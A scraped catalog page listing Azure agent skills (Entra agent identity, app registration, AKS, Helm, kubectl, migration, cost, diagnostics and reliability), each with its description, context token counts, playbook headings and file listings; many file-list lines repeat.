Provision Microsoft Entra Agent Identity Blueprints, BlueprintPrincipals, and per-instance Agent Identities through Microsoft Graph, and configure OAuth 2.0 token exchange including fmi_path, on-behalf-of, and cross-tenant flows with the Microsoft Entra SDK for AgentID sidecar. Use when the user works on an Agent Identity Blueprint, BlueprintPrincipal, agent OAuth, fmi_path token exchange, agent on-behalf-of flows, workload identity federation for agents, polyglot agent authentication, or Microsoft.Identity.Web.AgentIdentities.
What it loads into context
Frontmatter
151 tokensAlways available to the agent
SKILL.md
3,873 tokensWhen the skill is activated
Reference documents
7,734 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- Quick Reference
- When to invoke
- MCP Tools
- Before You Start
- Conceptual Model
- Prerequisites
- Authentication
- Core Workflow
- Runtime Authentication
- Granting Permissions (Per Agent Identity)
- Cross-Tenant Agent Identities
- API Reference
- Required Graph Permissions
- Best Practices
- Troubleshooting
- References
- Output template
- Quality gate
Files
SKILL.mdcore16,845 bytesSKILL.mdcore16,845 bytesSKILL.mdcore16,845 bytesSKILL.mdcore16,845 bytesSKILL.mdcore16,845 bytesSKILL.mdcore16,845 bytesSKILL.mdcore16,845 bytesSKILL.mdcore16,845 bytesSKILL.mdcore16,845 bytesSKILL.mdcore16,845 bytesSKILL.mdcore16,845 bytesreferences/known-limitations.mddoc4,754 bytesreferences/oauth2-token-flow.mddoc4,507 bytesreferences/obo-blueprint-setup.mddoc4,235 bytesreferences/runtime-token-exchange.mddoc6,746 bytesreferences/sdk-sidecar-deployment.mddoc6,276 bytesreferences/sdk-sidecar.mddoc6,107 bytes
No excerpt is shown for this license. Read the source on GitHub.
View the complete source on GitHubazure-entra-app-registration
When your agent uses it
Guide Microsoft Entra ID app registration, OAuth 2.0 authentication, and MSAL integration. Use when the user wants to create or register an Entra ID application, configure OAuth, set up authentication, add API permissions, generate a service principal, review an MSAL or console app authentication example, or complete Entra ID tenant setup.
What it loads into context
Frontmatter
108 tokensAlways available to the agent
SKILL.md
2,078 tokensWhen the skill is activated
Reference documents
16,576 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- When to invoke
- Overview
- Core Workflow
- Common Patterns
- MCP Tools and CLI
- Security Best Practices
- SDK Quick References
- References
- External Resources
- Output template
- Quality gate
Files
SKILL.mdcore9,482 bytesSKILL.mdcore9,482 bytesreferences/BICEP-EXAMPLE.bicepasset5,328 bytesreferences/api-permissions.mddoc10,198 bytesreferences/auth-best-practices.mddoc6,207 bytesreferences/cli-commands.mddoc8,852 bytesreferences/console-app-example.mddoc10,872 bytesreferences/first-app-registration.mddoc7,712 bytesreferences/oauth-flows.mddoc9,540 bytesreferences/sdk/azure-identity-dotnet.mddoc940 bytesreferences/sdk/azure-identity-java.mddoc1,248 bytesreferences/sdk/azure-identity-py.mddoc1,148 bytesreferences/sdk/azure-identity-rust.mddoc805 bytesreferences/sdk/azure-identity-ts.mddoc1,144 bytesreferences/sdk/azure-keyvault-py.mddoc1,135 bytesreferences/sdk/azure-keyvault-secrets-ts.mddoc1,043 bytesreferences/sdk/microsoft-azure-webjobs-extensions-authentication-events-dotnet.mddoc1,522 bytesreferences/troubleshooting.mddoc7,592 bytes
No excerpt is shown for this license. Read the source on GitHub.
View the complete source on GitHubazure-quotas
When your agent uses it
Check and manage Azure quotas and usage across resource providers for deployment planning, capacity validation, and region selection. Use when the user asks to check quotas, service limits, or current usage, request a quota increase, resolve a quota exceeded error, validate capacity, confirm regional availability or provisioning limits, or find how many vCPUs are available in a subscription.
What it loads into context
Frontmatter
110 tokensAlways available to the agent
SKILL.md
3,007 tokensWhen the skill is activated
Reference documents
3,037 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- Overview
- When to invoke
- Quick Reference
- Quota Types
- Understanding Resource Name Mapping
- Scripts
- Core Workflows
- Troubleshooting
- Additional Resources
- Best Practices
- Output template
- Quality gate
Scripts executed separately
scripts/check-quota.ps1scripts/check-quota.sh
Files
SKILL.mdcore12,932 bytesSKILL.mdcore12,932 bytesSKILL.mdcore12,932 bytesSKILL.mdcore12,932 bytesSKILL.mdcore12,932 bytesSKILL.mdcore12,932 bytesSKILL.mdcore12,932 bytesSKILL.mdcore12,932 bytesSKILL.mdcore12,932 bytesreferences/advanced-commands.mddoc1,814 bytesreferences/commands.mddoc10,617 bytesscripts/check-quota.ps1runs3,409 bytesscripts/check-quota.shruns3,021 bytes
No excerpt is shown for this license. Read the source on GitHub.
View the complete source on GitHubazure-role-selector
When your agent uses it
Select the least-privilege Azure RBAC role for an identity, compare built-in and custom role options, and produce assignment commands or Bicep snippets. Use this skill when the user asks which Azure role to assign for permissions, scopes, identities, data-plane access, control-plane access, custom roles, or access requirements.
What it loads into context
Frontmatter
134 tokensAlways available to the agent
SKILL.md
1,847 tokensWhen the skill is activated
Reference documents
0 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- When to invoke
- Prerequisites and context
- Inputs to resolve
- Selection criteria
- Role matching workflow
- Common Azure RBAC distinctions
- Assignment artifacts
- Gotchas
- Output template
- Quality gate
Files
LICENSE.txtdoc1,078 bytesSKILL.mdcore8,568 bytesSKILL.mdcore8,568 bytes
No excerpt is shown for this license. Read the source on GitHub.
View the complete source on GitHubazure-well-architected-review
When your agent uses it
Perform an Azure Well-Architected Framework review of the current workload IaC and architecture, generating findings and GitHub issues for improvements. Use this skill when the user asks for azure well-architected review.
What it loads into context
Frontmatter
60 tokensAlways available to the agent
SKILL.md
2,549 tokensWhen the skill is activated
Reference documents
0 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- When to invoke
- Prerequisites and context
- Procedure
- Error Handling
- Output template
Files
SKILL.mdcore11,095 bytesSKILL.mdcore11,095 bytesSKILL.mdcore11,095 bytes
No excerpt is shown for this license. Read the source on GitHub.
View the complete source on GitHubazure-airunway-aks-setup
When your agent uses it
Set up AI Runway on AKS from a bare cluster to a running model, covering cluster verification, controller install, GPU assessment, provider setup, and the first deployment. Use when the user asks to set up or install AI Runway, onboard an AKS cluster, run AI Runway setup, deploy a model to AKS, enable GPU inference on AKS, configure KAITO on AKS, run an LLM or vLLM on AKS, set up model serving on AKS, or work with the AI Runway controller.
What it loads into context
Frontmatter
164 tokensAlways available to the agent
SKILL.md
1,215 tokensWhen the skill is activated
Reference documents
5,669 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- Prerequisites
- Quick Reference
- When to invoke
- MCP Tools
- Rules
- Steps
- Error Handling
- Output template
- Quality gate
Files
SKILL.mdcore4,993 bytesSKILL.mdcore4,993 bytesSKILL.mdcore4,993 bytesSKILL.mdcore4,993 bytesreferences/gpu-profiles.mddoc2,566 bytesreferences/model-sizing.mddoc1,878 bytesreferences/powershell-notes.mddoc3,218 bytesreferences/steps/step-1-verify.mddoc1,972 bytesreferences/steps/step-2-controller.mddoc1,075 bytesreferences/steps/step-3-gpu.mddoc834 bytesreferences/steps/step-4-provider.mddoc2,059 bytesreferences/steps/step-5-deploy.mddoc3,648 bytesreferences/steps/step-6-summary.mddoc1,745 bytesreferences/troubleshooting.mddoc1,566 bytes
No excerpt is shown for this license. Read the source on GitHub.
View the complete source on GitHubazure-argocd-cli
When your agent uses it
ArgoCD CLI operations manage GitOps installation, bootstrap, synchronization, drift detection, rollback checks, and day-2 application workflows. Use this skill when working with argocd login, app create, app sync, app health, ApplicationSet, ArgoCD troubleshooting, GitOps drift, or repository credential configuration.
What it loads into context
Frontmatter
82 tokensAlways available to the agent
SKILL.md
1,225 tokensWhen the skill is activated
Reference documents
1,014 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- When to invoke
- Prerequisites and context
- Procedure
- Output template
- Limits
- Progressive disclosure and bundled resources
- Related primitives
- Quality gate
Files
SKILL.mdcore5,477 bytesreferences/commands.mddoc3,660 bytes
No excerpt is shown for this license. Read the source on GitHub.
View the complete source on GitHubazure-helm-cli
When your agent uses it
Helm CLI operations manage Kubernetes packages, charts, releases, repositories, values, upgrades, rollbacks, template rendering, release history, chart debugging, and package validation. Use this skill when working with helm install, helm upgrade, helm rollback, helm repo add, helm template, values.yaml, or chart validation.
What it loads into context
Frontmatter
79 tokensAlways available to the agent
SKILL.md
1,143 tokensWhen the skill is activated
Reference documents
0 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- When to invoke
- Prerequisites and context
- Procedure
- Output template
- Limits
- Related primitives
- Quality gate
Files
SKILL.mdcore5,049 bytesSKILL.mdcore5,049 bytesSKILL.mdcore5,049 bytesSKILL.mdcore5,049 bytes
No excerpt is shown for this license. Read the source on GitHub.
View the complete source on GitHubazure-kubectl-cli
When your agent uses it
kubectl CLI operations inspect and manage AKS and Kubernetes resources directly, including health checks, manifests, rollout status, logs, events, namespaces, pod troubleshooting, service debugging, secrets inspection by name, and network policy validation. Use this skill when working with kubectl get, describe, logs, apply, diff, exec, top, or rollout workflows.
What it loads into context
Frontmatter
90 tokensAlways available to the agent
SKILL.md
1,406 tokensWhen the skill is activated
Reference documents
0 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- When to invoke
- Prerequisites and context
- Procedure
- Output template
- Limits
- Related primitives
- Quality gate
Files
SKILL.mdcore6,025 bytesSKILL.mdcore6,025 bytesSKILL.mdcore6,025 bytesSKILL.mdcore6,025 bytesSKILL.mdcore6,025 bytesSKILL.mdcore6,025 bytes
No excerpt is shown for this license. Read the source on GitHub.
View the complete source on GitHubazure-kubernetes
When your agent uses it
Plan, create, and configure production-ready Azure Kubernetes Service clusters, covering the Day-0 checklist, Automatic versus Standard SKU selection, networking such as private API server, Azure CNI Overlay, and egress, security, and operations including autoscaling, upgrade strategy, and cost analysis. Use when the user wants to create or provision an AKS environment, enable AKS observability, design AKS networking, choose an AKS SKU, secure or optimize AKS, configure spot nodes or the cluster autoscaler, or rightsize pod requests and limits with the Vertical Pod Autoscaler.
What it loads into context
Frontmatter
158 tokensAlways available to the agent
SKILL.md
2,640 tokensWhen the skill is activated
Reference documents
3,518 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- Quick Reference
- When to invoke
- Rules
- Required Inputs (Ask only what’s needed)
- Workflow
- Guardrails / Safety
- MCP Tools
- Error Handling
- Output template
- Quality gate
Files
SKILL.mdcore11,728 bytesSKILL.mdcore11,728 bytesSKILL.mdcore11,728 bytesSKILL.mdcore11,728 bytesSKILL.mdcore11,728 bytesSKILL.mdcore11,728 bytesSKILL.mdcore11,728 bytesSKILL.mdcore11,728 bytesSKILL.mdcore11,728 bytesSKILL.mdcore11,728 bytesSKILL.mdcore11,728 bytesSKILL.mdcore11,728 bytesreferences/azure-aks-autoscaler.mddoc3,103 bytesreferences/azure-aks-rightsizing.mddoc4,444 bytesreferences/azure-aks-spot.mddoc3,773 bytesreferences/azure-aks-vpa.mddoc1,472 bytesreferences/cli-reference.mddoc1,188 bytes
No excerpt is shown for this license. Read the source on GitHub.
View the complete source on GitHubazure-kubernetes-app-deploy
When your agent uses it
Use when deploying an existing web application or API to an already-running Azure Kubernetes Service cluster. Detects the framework, generates a Dockerfile and Kubernetes manifests, validates against AKS Deployment Safeguards, and deploys with verification. WHEN: deploy app to AKS, deploy to existing AKS cluster, containerize app for Kubernetes, generate K8s manifests for Azure, set up CI/CD for AKS, my AKS deployment is failing safeguard checks, I have a Django/Express/Spring Boot app to run on AKS. DO NOT USE FOR: creating or provisioning an AKS cluster (use azure-kubernetes), assessing migration to AKS Automatic (use azure-kubernetes-automatic-readiness), or deploying to non-AKS targets like Web Apps, Container Apps, or Functions.
What it loads into context
Frontmatter
208 tokensAlways available to the agent
SKILL.md
752 tokensWhen the skill is activated
Reference documents
23,163 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- When to invoke
- Workflow
- References
- Knowledge Packs
- Templates
- Output template
- Quality gate
Files
SKILL.mdcore3,120 bytesknowledge-packs/frameworks/aspnet-core.mddoc7,432 bytesknowledge-packs/frameworks/django.mddoc6,142 bytesknowledge-packs/frameworks/express.mddoc6,811 bytesknowledge-packs/frameworks/fastapi.mddoc5,947 bytesknowledge-packs/frameworks/flask.mddoc6,322 bytesknowledge-packs/frameworks/go.mddoc6,997 bytesknowledge-packs/frameworks/nestjs.mddoc6,845 bytesknowledge-packs/frameworks/nextjs.mddoc7,318 bytesknowledge-packs/frameworks/spring-boot.mddoc6,157 bytesphases/quick-deploy.mddoc8,017 bytesreferences/base-images.mddoc3,666 bytesreferences/detection.mddoc3,623 bytesreferences/rollback.mddoc2,048 bytesreferences/safeguards.mddoc2,999 bytesreferences/workload-identity.mddoc7,566 bytestemplates/dockerfiles/dotnet.Dockerfileasset2,618 bytestemplates/dockerfiles/dotnet.dockerignoreasset125 bytestemplates/dockerfiles/go.Dockerfileasset2,177 bytestemplates/dockerfiles/go.dockerignoreasset128 bytestemplates/dockerfiles/java.Dockerfileasset3,120 bytestemplates/dockerfiles/java.dockerignoreasset156 bytestemplates/dockerfiles/node.Dockerfileasset3,063 bytestemplates/dockerfiles/node.dockerignoreasset173 bytestemplates/dockerfiles/python.Dockerfileasset2,562 bytestemplates/dockerfiles/python.dockerignoreasset201 bytestemplates/dockerfiles/rust.Dockerfileasset3,227 bytestemplates/dockerfiles/rust.dockerignoreasset87 bytestemplates/github-actions/deploy.ymlasset7,623 bytestemplates/k8s/configmap.yamlasset1,054 bytestemplates/k8s/deployment.yamlasset3,458 bytestemplates/k8s/gateway.yamlasset1,543 bytestemplates/k8s/hpa.yamlasset1,418 bytestemplates/k8s/httproute.yamlasset1,339 bytestemplates/k8s/ingress.yamlasset1,959 bytestemplates/k8s/namespace.yamlasset734 bytestemplates/k8s/networkpolicy.yamlasset1,627 bytestemplates/k8s/pdb.yamlasset758 bytestemplates/k8s/service.yamlasset864 bytestemplates/k8s/serviceaccount.yamlasset1,476 bytestemplates/mermaid/architecture-diagram.mddoc1,663 bytestemplates/mermaid/summary-dashboard.mddoc1,785 bytes
No excerpt is shown for this license. Read the source on GitHub.
View the complete source on GitHubazure-kubernetes-automatic-readiness
When your agent uses it
Assess Kubernetes workloads and cluster configuration for AKS Automatic compatibility, identify incompatibilities, generate fixes, and guide migration from AKS Standard to AKS Automatic. Use when the user wants to migrate to AKS Automatic, check AKS Automatic readiness, validate manifests for Automatic, assess a cluster for Automatic compatibility, fix a deployment for Automatic, or identify AKS Automatic migration blockers.
What it loads into context
Frontmatter
118 tokensAlways available to the agent
SKILL.md
3,577 tokensWhen the skill is activated
Reference documents
4,572 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- Quick Reference
- When to invoke
- Routing Rules
- Guardrails — READ FIRST
- MCP Tools
- Workflow
- Error Handling
- Reference Files
- Output template
- Quality gate
Files
SKILL.mdcore15,741 bytesSKILL.mdcore15,741 bytesSKILL.mdcore15,741 bytesreferences/common-fixes.mddoc6,867 bytesreferences/constraint-spec-v1.yamlasset19,408 bytesreferences/mcp-integration.mddoc6,649 bytesreferences/migration-guide-summary.mddoc4,546 bytes
No excerpt is shown for this license. Read the source on GitHub.
View the complete source on GitHubazure-cloud-migrate
When your agent uses it
Assess and migrate cross-cloud workloads to Azure with assessment reports and code conversion, supporting Lambda to Functions, Beanstalk, Heroku, and App Engine to App Service, and Fargate, Kubernetes, Cloud Run, or Spring Boot to Container Apps. Use when the user asks to migrate Lambda to Functions, move from AWS or GCP to Azure, migrate Beanstalk, Heroku, or App Engine, convert Cloud Run or Fargate workloads, move ECS, GKE, or EKS to Container Apps, or plan a cross-cloud migration.
What it loads into context
Frontmatter
151 tokensAlways available to the agent
SKILL.md
1,249 tokensWhen the skill is activated
Reference documents
43,771 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- When to invoke
- Rules
- Migration Scenarios
- Output Directory
- Steps
- Output template
- Quality gate
Files
SKILL.mdcore5,534 bytesSKILL.mdcore5,534 bytesSKILL.mdcore5,534 bytesreferences/services/app-service/app-engine-to-app-service.mddoc7,302 bytesreferences/services/app-service/assessment.mddoc5,342 bytesreferences/services/app-service/beanstalk-to-app-service.mddoc6,508 bytesreferences/services/app-service/code-migration.mddoc5,069 bytesreferences/services/app-service/global-rules.mddoc2,911 bytesreferences/services/app-service/heroku-to-app-service.mddoc7,728 bytesreferences/services/container-apps/assessment-guide.mddoc7,164 bytesreferences/services/container-apps/cloudrun-assessment-guide.mddoc2,554 bytesreferences/services/container-apps/cloudrun-deployment-guide.mddoc8,117 bytesreferences/services/container-apps/cloudrun-to-container-apps.mddoc2,233 bytesreferences/services/container-apps/deployment-guide.mddoc9,859 bytesreferences/services/container-apps/fargate-assessment-guide.mddoc2,456 bytesreferences/services/container-apps/fargate-deployment-guide.mddoc10,351 bytesreferences/services/container-apps/fargate-to-container-apps.mddoc4,052 bytesreferences/services/container-apps/k8s-to-container-apps.mddoc4,987 bytesreferences/services/container-apps/spring-apps-to-aca.mddoc3,858 bytesreferences/services/container-apps/spring-assessment-guide.mddoc5,372 bytesreferences/services/container-apps/spring-dependency-patterns.mddoc1,180 bytesreferences/services/container-apps/spring-deployment-guide.mddoc15,483 bytesreferences/services/functions/assessment.mddoc6,454 bytesreferences/services/functions/code-migration.mddoc6,121 bytesreferences/services/functions/global-rules.mddoc3,403 bytesreferences/services/functions/lambda-to-functions.mddoc10,489 bytesreferences/services/functions/runtimes/csharp.mddoc5,611 bytesreferences/services/functions/runtimes/java.mddoc6,554 bytesreferences/services/functions/runtimes/javascript.mddoc8,740 bytesreferences/services/functions/runtimes/powershell.mddoc5,112 bytesreferences/services/functions/runtimes/python.mddoc6,530 bytesreferences/services/functions/runtimes/typescript.mddoc3,592 bytesreferences/workflow-details.mddoc2,388 bytes
No excerpt is shown for this license. Read the source on GitHub.
View the complete source on GitHubazure-upgrade
When your agent uses it
Assess and upgrade Azure workloads between plans, tiers, or SKUs, and modernize Azure SDK dependencies in source code. Use when the user wants to upgrade Consumption to Flex Consumption, change an Azure Functions hosting plan or function app SKU, migrate App Service to Container Apps, modernize legacy Azure Java SDKs from com.microsoft.azure to com.azure, or migrate Azure Cache for Redis to Azure Managed Redis.
What it loads into context
Frontmatter
126 tokensAlways available to the agent
SKILL.md
1,663 tokensWhen the skill is activated
Reference documents
32,028 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- When to invoke
- Rules
- Upgrade Scenarios
- MCP Tools
- Steps
- References
- Next
- Output template
- Quality gate
Scripts executed separately
references/languages/java/scripts/upgrade_bom.py
Files
SKILL.mdcore7,008 bytesSKILL.mdcore7,008 bytesSKILL.mdcore7,008 bytesreferences/global-rules.mddoc2,090 bytesreferences/languages/java/INSTRUCTION.mddoc11,589 bytesreferences/languages/java/README.mddoc3,066 bytesreferences/languages/java/bom-migration/bom-gradle-settings.mddoc6,863 bytesreferences/languages/java/bom-migration/bom-gradle-toml.mddoc2,794 bytesreferences/languages/java/bom-migration/bom-gradle.mddoc5,266 bytesreferences/languages/java/bom-migration/bom-maven.mddoc4,835 bytesreferences/languages/java/bom-migration/bom-migration.mddoc4,293 bytesreferences/languages/java/bom-migration/bom-validation.mddoc1,549 bytesreferences/languages/java/package-specific/com.microsoft.azure.eventprocessorhost.mddoc5,675 bytesreferences/languages/java/package-specific/com.microsoft.azure.management.mddoc9,713 bytesreferences/languages/java/rules/efficiency.mddoc265 bytesreferences/languages/java/rules/execution-guidelines.mddoc1,063 bytesreferences/languages/java/rules/review-code-changes.mddoc541 bytesreferences/languages/java/rules/troubleshooting.mddoc2,586 bytesreferences/languages/java/rules/upgrade-strategy.mddoc1,403 bytesreferences/languages/java/rules/upgrade-success-criteria.mddoc686 bytesreferences/languages/java/scripts/upgrade_bom.pyruns20,074 bytesreferences/languages/java/templates/PLAN_TEMPLATE.mddoc9,676 bytesreferences/languages/java/templates/PROGRESS_TEMPLATE.mddoc9,336 bytesreferences/languages/java/templates/SUMMARY_TEMPLATE.mddoc8,833 bytesreferences/languages/java/workflow/phase-1-precheck.mddoc2,397 bytesreferences/languages/java/workflow/phase-2-plan.mddoc2,960 bytesreferences/languages/java/workflow/phase-3-execute.mddoc2,435 bytesreferences/languages/java/workflow/phase-4-summarize.mddoc1,154 bytesreferences/services/functions/assessment.mddoc4,293 bytesreferences/services/functions/automation.mddoc13,903 bytesreferences/services/functions/consumption-to-flex.mddoc11,165 bytesreferences/services/redis/redis-to-amr.mddoc7,700 bytesreferences/workflow-details.mddoc1,905 bytes
No excerpt is shown for this license. Read the source on GitHub.
View the complete source on GitHubappinsights-instrumentation
When your agent uses it
Instrument Azure-hosted web apps with Azure Application Insights telemetry by choosing auto-instrumentation or code instrumentation for ASP.NET Core, Node.js, or Python. Use when the user wants to enable telemetry, observe app health, create an App Insights resource, or wire instrumentation into a webapp.
What it loads into context
Frontmatter
78 tokensAlways available to the agent
SKILL.md
1,167 tokensWhen the skill is activated
Reference documents
1,267 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- When to invoke
- Prerequisites and context
- Procedure
- Instrumentation decision table
- Infrastructure rules
- Progressive disclosure and bundled resources
- Output template
- Quality gate
Scripts executed separately
scripts/appinsights.ps1
Files
LICENSE.txtdoc1,078 bytesSKILL.mdcore5,588 bytesSKILL.mdcore5,588 bytesSKILL.mdcore5,588 bytesSKILL.mdcore5,588 bytesexamples/appinsights.bicepasset759 bytesreferences/ASPNETCORE.mddoc1,717 bytesreferences/AUTO.mddoc891 bytesreferences/NODEJS.mddoc1,815 bytesreferences/PYTHON.mddoc1,812 bytesscripts/appinsights.ps1runs1,221 bytes
No excerpt is shown for this license. Read the source on GitHub.
View the complete source on GitHubazure-cost
When your agent uses it
Manage Azure cost by querying actual spend, forecasting future spending, and optimizing resources to reduce waste. Use when the user asks about Azure costs or bills, wants a cost breakdown, asks how much they are spending, wants to forecast spending, optimize or reduce spend, find orphaned resources, rightsize VMs, investigate a cost spike, or lower storage and AKS costs.
What it loads into context
Frontmatter
113 tokensAlways available to the agent
SKILL.md
675 tokensWhen the skill is activated
Reference documents
23,034 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- When to invoke
- Routing
- Quick Reference
- Scope Patterns
- Service-Specific Optimization
- References
- Output template
- Quality gate
Files
SKILL.mdcore2,920 bytescost-forecast/error-handling.mddoc4,417 bytescost-forecast/examples.mddoc3,066 bytescost-forecast/guardrails.mddoc5,187 bytescost-forecast/request-body-schema.mddoc4,347 bytescost-forecast/workflow.mddoc4,844 bytescost-optimization/auth-best-practices.mddoc6,207 bytescost-optimization/azure-aks-anomalies.mddoc2,523 bytescost-optimization/azure-aks-cost-addon.mddoc1,505 bytescost-optimization/azure-quick-review.mddoc1,598 bytescost-optimization/azure-resource-graph.mddoc2,794 bytescost-optimization/report-template.mddoc1,860 bytescost-optimization/sdk/azure-resource-manager-redis-dotnet.mddoc1,519 bytescost-optimization/services/redis/azure-cache-for-redis.mddoc2,748 bytescost-optimization/services/storage/azure-storage.mddoc7,856 bytescost-optimization/workflow.mddoc7,897 bytescost-query/dimensions-by-scope.mddoc7,639 bytescost-query/error-handling.mddoc5,163 bytescost-query/examples.mddoc2,554 bytescost-query/guardrails.mddoc7,694 bytescost-query/request-body-schema.mddoc5,514 bytescost-query/workflow.mddoc5,246 bytesreferences/tools-and-best-practices.mddoc3,020 bytes
No excerpt is shown for this license. Read the source on GitHub.
View the complete source on GitHubazure-diagnostics
When your agent uses it
Debug Azure production issues with AppLens, Azure Monitor, resource health, and safe triage across App Service, Container Apps, Functions, AKS, virtual machines, and messaging. Use when the user needs to troubleshoot production incidents, high CPU or deployment failures, VM connectivity such as RDP, SSH, or blocked NSG rules, AKS problems such as pod pending, crashloop, node not ready, or image pull failures, cold starts, failing health probes, resource health, or Event Hubs and Service Bus SDK, AMQP, lock, and dead-letter errors.
What it loads into context
Frontmatter
156 tokensAlways available to the agent
SKILL.md
1,609 tokensWhen the skill is activated
Reference documents
30,339 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- When to invoke
- Rules
- Quick Diagnosis Flow
- Troubleshooting Guides by Service
- Routing
- Quick Reference
- Check Azure Resource Health
- References
- Output template
- Quality gate
Scripts executed separately
scripts/aks-baseline.ps1scripts/aks-baseline.shscripts/appservice-diagnostics.ps1scripts/appservice-diagnostics.shscripts/containerapp-diagnostics.ps1scripts/containerapp-diagnostics.shscripts/pod-evidence.ps1scripts/pod-evidence.shscripts/run-ig.ps1scripts/run-ig.shscripts/test-messaging-connectivity.ps1scripts/test-messaging-connectivity.sh
Files
SKILL.mdcore7,027 bytesSKILL.mdcore7,027 bytesSKILL.mdcore7,027 bytesSKILL.mdcore7,027 bytesreferences/app-service/README.mddoc7,352 bytesreferences/azure-resource-graph.mddoc2,909 bytesreferences/container-apps/README.mddoc2,959 bytesreferences/functions/README.mddoc3,592 bytesreferences/kql-queries.mddoc1,342 bytesscripts/aks-baseline.ps1runs7,190 bytesscripts/aks-baseline.shruns6,837 bytesscripts/appservice-diagnostics.ps1runs2,325 bytesscripts/appservice-diagnostics.shruns2,954 bytesscripts/containerapp-diagnostics.ps1runs2,180 bytesscripts/containerapp-diagnostics.shruns2,792 bytesscripts/pod-evidence.ps1runs6,749 bytesscripts/pod-evidence.shruns7,222 bytesscripts/run-ig.ps1runs5,690 bytesscripts/run-ig.shruns6,664 bytesscripts/test-messaging-connectivity.ps1runs6,491 bytesscripts/test-messaging-connectivity.shruns6,974 bytestroubleshooting/aks/aks-troubleshooting.mddoc6,320 bytestroubleshooting/aks/general-diagnostics.mddoc2,053 bytestroubleshooting/aks/load-balancer-and-ingress.mddoc3,687 bytestroubleshooting/aks/network-policy.mddoc832 bytestroubleshooting/aks/networking.mddoc5,597 bytestroubleshooting/aks/node-issues.mddoc4,833 bytestroubleshooting/aks/pod-failures.mddoc7,751 bytestroubleshooting/aks/references/aks-mcp.mddoc1,556 bytestroubleshooting/aks/references/command-flows.mddoc4,145 bytestroubleshooting/aks/references/inspektor-gadget.mddoc7,812 bytestroubleshooting/aks/references/structured-input-modes.mddoc1,508 bytestroubleshooting/aks/spot-and-zone-issues.mddoc2,608 bytestroubleshooting/aks/upgrade-operations.mddoc2,252 bytestroubleshooting/compute/references/cannot-connect-to-vm.mddoc3,204 bytestroubleshooting/compute/references/credential-auth-errors.mddoc2,365 bytestroubleshooting/compute/references/firewall-blocking.mddoc2,376 bytestroubleshooting/compute/references/network-connectivity.mddoc2,604 bytestroubleshooting/compute/references/rdp-connectivity.mddoc2,800 bytestroubleshooting/compute/references/rdp-service-config.mddoc3,299 bytestroubleshooting/compute/references/ssh-connectivity.mddoc2,136 bytestroubleshooting/compute/references/vm-agent-not-responding.mddoc3,723 bytestroubleshooting/compute/vm-troubleshooting.mddoc3,384 bytestroubleshooting/messaging/README.mddoc1,606 bytestroubleshooting/messaging/auth-best-practices.mddoc6,207 bytestroubleshooting/messaging/azure-eventhubs-dotnet.mddoc3,573 bytestroubleshooting/messaging/azure-eventhubs-java.mddoc3,298 bytestroubleshooting/messaging/azure-eventhubs-js.mddoc2,777 bytestroubleshooting/messaging/azure-eventhubs-py.mddoc4,454 bytestroubleshooting/messaging/azure-servicebus-dotnet.mddoc2,568 bytestroubleshooting/messaging/azure-servicebus-java.mddoc2,281 bytestroubleshooting/messaging/azure-servicebus-js.mddoc2,489 bytestroubleshooting/messaging/azure-servicebus-py.mddoc2,388 bytestroubleshooting/messaging/service-troubleshooting.mddoc5,193 bytes
No excerpt is shown for this license. Read the source on GitHub.
View the complete source on GitHubazure-observability-stack
When your agent uses it
Deploys and operates Prometheus, Grafana, Loki, and Alertmanager for Open Horizons observability. Use this skill when deploying the monitoring stack, configuring dashboards, validating alert rules, checking metrics, reviewing SLO signals, or troubleshooting observability behavior.
What it loads into context
Frontmatter
69 tokensAlways available to the agent
SKILL.md
1,735 tokensWhen the skill is activated
Reference documents
295 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- When to invoke
- Prerequisites and context
- Procedure
- Output template
- Limits
- Progressive disclosure and bundled resources
- Related primitives
- Quality gate
Files
SKILL.mdcore7,248 bytesSKILL.mdcore7,248 bytesSKILL.mdcore7,248 bytesSKILL.mdcore7,248 bytesSKILL.mdcore7,248 bytesSKILL.mdcore7,248 bytesSKILL.mdcore7,248 bytesSKILL.mdcore7,248 bytesreferences/project-reference.mddoc738 bytesreferences/troubleshooting.mddoc452 bytes
No excerpt is shown for this license. Read the source on GitHub.
View the complete source on GitHubazure-reliability
When your agent uses it
Assess and improve the reliability posture of Azure Functions and Azure App Service workloads by scanning deployed resources for zone redundancy, ZRS storage, health probes, and multi-region failover, then driving staged remediation through CLI or infrastructure-as-code patches with user confirmation. Use when the user asks to assess or check reliability, review zone redundancy or multi-region failover, improve high availability or disaster recovery, find single points of failure, or evaluate resiliency posture.
What it loads into context
Frontmatter
131 tokensAlways available to the agent
SKILL.md
5,727 tokensWhen the skill is activated
Reference documents
18,533 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- Quick Reference
- When to invoke
- Prerequisites
- MCP Tools
- Assessment Workflow
- Configuration Workflow
- Priority Classification
- Error Handling
- Best Practices
- Skill Boundaries
- Output template
- Quality gate
Files
